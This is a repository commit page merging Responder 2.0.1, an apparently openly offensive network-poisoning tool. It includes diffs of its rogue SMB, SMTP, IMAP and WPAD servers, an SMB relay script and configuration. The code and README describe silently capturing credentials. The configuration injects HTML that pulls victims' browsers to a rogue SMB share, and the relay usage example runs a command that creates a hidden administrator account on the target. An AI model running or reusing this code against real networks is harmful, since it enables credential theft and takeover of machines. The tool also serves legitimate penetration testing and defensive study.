Commit ed63c38f authored by Mati's avatar Mati

Merge tag 'upstream/2.0.1'

Upstream version 2.0.1
parents 9326811c 408ffcbc
ChangeLog Responder 1.9:
ChangeLog Responder 2.0:
- Added: -F command line switch to force NTLM authentication on PAC file retrieval.
- Added: Ability to inject custom HTML in HTTP responses.
- Added: New WPAD proxy server. Enabled by default.
- Several improvements.
- Added: SMTP module
- Added: POP3 module
- Added: MSSQL plaintext auth support
- Added: SMB Relay
- Added: NBT-NS name is now printed.
- Added: -I command line switch (network interface). When set, this option override Responder.conf Bind_to setting.
- Added: Ability to change the HTML payload returned after authentication. See Responder.conf
- Added: Ability to change the pac script in Responder.conf
......
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2013 Trustwave Holdings, Inc.
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
......@@ -15,7 +15,7 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,sys,socket,struct
import re,sys,socket,struct,string
from socket import *
from odict import OrderedDict
......@@ -101,13 +101,14 @@ class SMBSessionFingerData(Packet):
def OsNameClientVersion(data):
lenght = struct.unpack('<H',data[43:45])[0]
pack = tuple(data[47+lenght:].split('\x00\x00\x00'))[:2]
var = [e.replace('\x00','') for e in data[47+lenght:].split('\x00\x00\x00')[:2]]
OsVersion, ClientVersion = tuple(var)
print "[+] Os version is:",OsVersion
print "[+] ClientVersion is:", ClientVersion
return OsVersion, ClientVersion
try:
lenght = struct.unpack('<H',data[43:45])[0]
pack = tuple(data[47+lenght:].split('\x00\x00\x00'))[:2]
var = [e.replace('\x00','') for e in data[47+lenght:].split('\x00\x00\x00')[:2]]
OsVersion, ClientVersion = tuple(var)
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def RunSmbFinger(host):
s = socket(AF_INET, SOCK_STREAM)
......
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2013 Trustwave Holdings, Inc.
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
......
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2013 Trustwave Holdings, Inc.
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
......
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2013 Trustwave Holdings, Inc.
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
......
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from odict import OrderedDict
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
#IMAP4 Greating class
class IMAPGreating(Packet):
fields = OrderedDict([
("Code", "* OK IMAP4 service is ready."),
("CRLF", "\r\n"),
])
#IMAP4 Capability class
class IMAPCapability(Packet):
fields = OrderedDict([
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
("CRLF", "\r\n"),
])
#IMAP4 Capability class
class IMAPCapabilityEnd(Packet):
fields = OrderedDict([
("Tag", ""),
("Message", " OK CAPABILITY completed."),
("CRLF", "\r\n"),
])
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2013 Trustwave Holdings, Inc.
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
......
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2013 Trustwave Holdings, Inc.
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
......
......@@ -84,17 +84,19 @@ FEATURES
- Icmp Redirect for MITM on Windows XP/2003 and earlier Domain members. This attack combined with
the DNS module is pretty effective.
- WPAD rogue transparent proxy server. This module will *silently* grab the encrypted
credentials of anyone launching Internet Explorer on the network. It will also grab
the cookie of the requested page. This module is higly effective. You can now send your custom Pac script to a victim. See Responder.conf.
- WPAD rogue transparent proxy server. This module will capture all HTTP requests from anyone launching Internet Explorer on the network. This module is higly effective. You can now send your custom Pac script to a victim and inject HTML into the server's responses. See Responder.conf. This module is now enabled by default.
- Responder is now using a configuration file. See Responder.conf.
- Built-in POP3 auth server. This module will collect POP3 plaintext credentials
- Built-in SMTP auth server. This module will collect PLAIN/LOGIN clear text credentials.
CONSIDERATIONS
==============
- This tool listen on several port: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433,
TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141 Multicast UDP 5553.
TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553.
If you run Samba on your system, stop smbd and nmbd and all other
services listening on these ports.
For Ubuntu users:
......@@ -103,9 +105,9 @@ CONSIDERATIONS
- Any rogue server can be turn off in Responder.conf.
- Please set a valid network interface in Responder.conf. Default is eth0.
- You can set a network interface via command line switch -I. Default is all.
- This tool will *not* work on Windows.
- This tool is not meant to work on Windows.
USAGE
......@@ -118,7 +120,7 @@ Running this tool:
Usage Example:
python Responder.py -i 10.20.30.40 -b On -r On -I eth0
python Responder.py -i 10.20.30.40 -r On -I eth0
Options List:
......@@ -148,6 +150,13 @@ Options List:
--lm=Off Set this to On if you want to force LM hashing
downgrade for Windows XP/2003 and earlier. Default value is Off
-F Off, --ForceWpadAuth=Off Set this to On or Off to force NTLM/Basic authentication on
wpad.dat file retrieval. This might cause a login prompt in
some specific cases. Default value is Off
-v More verbose
For more information read these posts:
http://blog.spiderlabs.com/2012/10/introducing-responder-10.html
......
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2013 Trustwave Holdings, Inc.
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
......
......@@ -4,6 +4,10 @@
SQL = On
SMB = On
FTP = On
POP = On
;;Listen on 25/TCP, 587/TCP
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
......@@ -34,11 +38,12 @@ Filename = Denied.html
ExecFilename = FixInternet.exe
;
;Set your custom PAC script
WPADScript = function FindProxyForURL(url, host){return 'PROXY ISAProxySrv:3141; DIRECT';}
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
;
;HTML answer to serve after user authentication.
;In this example, we redirect the browser to our rogue SMB server.
HTMLToServe = <html><head></head><body><img src='file:\\\\\shar\smileyd.ico' alt='Loading' height='1' width='2'></body></html>
;HTML answer to inject.
;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.
;Also, the HTML has to be in this format "<html> Payload goes here...</html>".
HTMLToServe = <html><head></head><body><img src='file:\\\\\RespProxySrv\ssed\seyad.ico' alt='Loading' height='1' width='2'></body></html>
;
[HTTPS Server]
;
......
This diff is collapsed.
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2013 Trustwave Holdings, Inc.
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
......
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2013 Trustwave Holdings, Inc.
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
......@@ -29,7 +29,7 @@ def UserCallBack(op, value, dmy, parser):
args.extend(getattr(parser.values, op.dest))
setattr(parser.values, op.dest, args)
parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -r ",
parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin",
prog=sys.argv[0],
)
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
......@@ -38,7 +38,7 @@ parser.add_option('-c',action='store', help='Command to run on the target.',meta
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
parser.add_option('-d',action="store", help="Target Domain for SMB relay (optional). This can be set to overwrite a domain logon (DOMAIN\Username) with the gathered credentials.",metavar="WORKGROUP",dest="Domain")
parser.add_option('-d',action="store", help="Target Domain for SMB relay (optional). This can be set to overwrite a domain logon (DOMAIN\Username) with the gathered credentials. Woks on NTLMv1",metavar="WORKGROUP",dest="Domain")
parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
......@@ -198,43 +198,48 @@ def Parse_Nego_Dialect(data):
return "\x0a\x00"
def SmbRogueSrv139(key,Target,DomainMachineName):
try:
s = socket(AF_INET,SOCK_STREAM)
s.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 139))
s.listen(0)
s.settimeout(30)
conn, addr = s.accept()
while True:
data = conn.recv(1024)
##session request 139
if data[0] == "\x81":
buffer0 = "\x82\x00\x00\x00"
conn.send(buffer0)
##Negotiate proto answer.
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc8",pid=pidcalc(data),tid=tidcalc(data))
t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data),Key=key,Domain=DomainMachineName)
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
conn.send(buffer1)
##Session Setup AndX Request
if data[8:10] == "\x73\x00":
if Is_Anonymous(data):
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
packet1 = str(head)+str(SMBSessEmpty())
buffer1 = longueur(packet1)+packet1
conn.send(buffer1)
else:
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xC0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
packet1 = str(head)+str(SMBSessEmpty())#Return login fail anyways.
buffer1 = longueur(packet1)+packet1
s = socket(AF_INET,SOCK_STREAM)
s.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
s.settimeout(30)
try:
s.bind(('0.0.0.0', 139))
s.listen(0)
conn, addr = s.accept()
except error, msg:
if "Address already in use" in msg:
print '\033[31m'+'Something is already listening on TCP 139, did you set SMB = Off in Responder.conf..?\nSMB Relay will not work.'+'\033[0m'
try:
while True:
data = conn.recv(1024)
##session request 139
if data[0] == "\x81":
buffer0 = "\x82\x00\x00\x00"
conn.send(buffer0)
##Negotiate proto answer.
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc8",pid=pidcalc(data),tid=tidcalc(data))
t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data),Key=key,Domain=DomainMachineName)
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
conn.send(buffer1)
Credz = ParseHash(data,addr[0],Target)
return Credz
except:
return None
##Session Setup AndX Request
if data[8:10] == "\x73\x00":
if Is_Anonymous(data):
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
packet1 = str(head)+str(SMBSessEmpty())
buffer1 = longueur(packet1)+packet1
conn.send(buffer1)
else:
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xC0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
packet1 = str(head)+str(SMBSessEmpty())#Return login fail anyways.
buffer1 = longueur(packet1)+packet1
conn.send(buffer1)
Credz = ParseHash(data,addr[0],Target)
return Credz
except:
return None
def RunRelay(host, Command,Domain):
Target = host
......@@ -419,6 +424,7 @@ def RunRelay(host, Command,Domain):
if data[8:10] != "\x2e\x00":
return False
def RunInloop(Target,Command,Domain):
try:
while True:
......
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from odict import OrderedDict
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
#SMTP Greating class
class SMTPGreating(Packet):
fields = OrderedDict([
("Code", "220"),
("Separator", "\x20"),
("Message", "smtp01.local ESMTP"),
("CRLF", "\x0d\x0a"),
])
class SMTPAUTH(Packet):
fields = OrderedDict([
("Code0", "250"),
("Separator0", "\x2d"),
("Message0", "smtp01.local"),
("CRLF0", "\x0d\x0a"),
("Code", "250"),
("Separator", "\x20"),
("Message", "AUTH LOGIN PLAIN XYMCOOKIE"),
("CRLF", "\x0d\x0a"),
])
class SMTPAUTH1(Packet):
fields = OrderedDict([
("Code", "334"),
("Separator", "\x20"),
("Message", "VXNlcm5hbWU6"),#Username
("CRLF", "\x0d\x0a"),
])
class SMTPAUTH2(Packet):
fields = OrderedDict([
("Code", "334"),
("Separator", "\x20"),
("Message", "UGFzc3dvcmQ6"),#Password
("CRLF", "\x0d\x0a"),
])
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2013 Trustwave Holdings, Inc.
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
......
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2013 Trustwave Holdings, Inc.
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment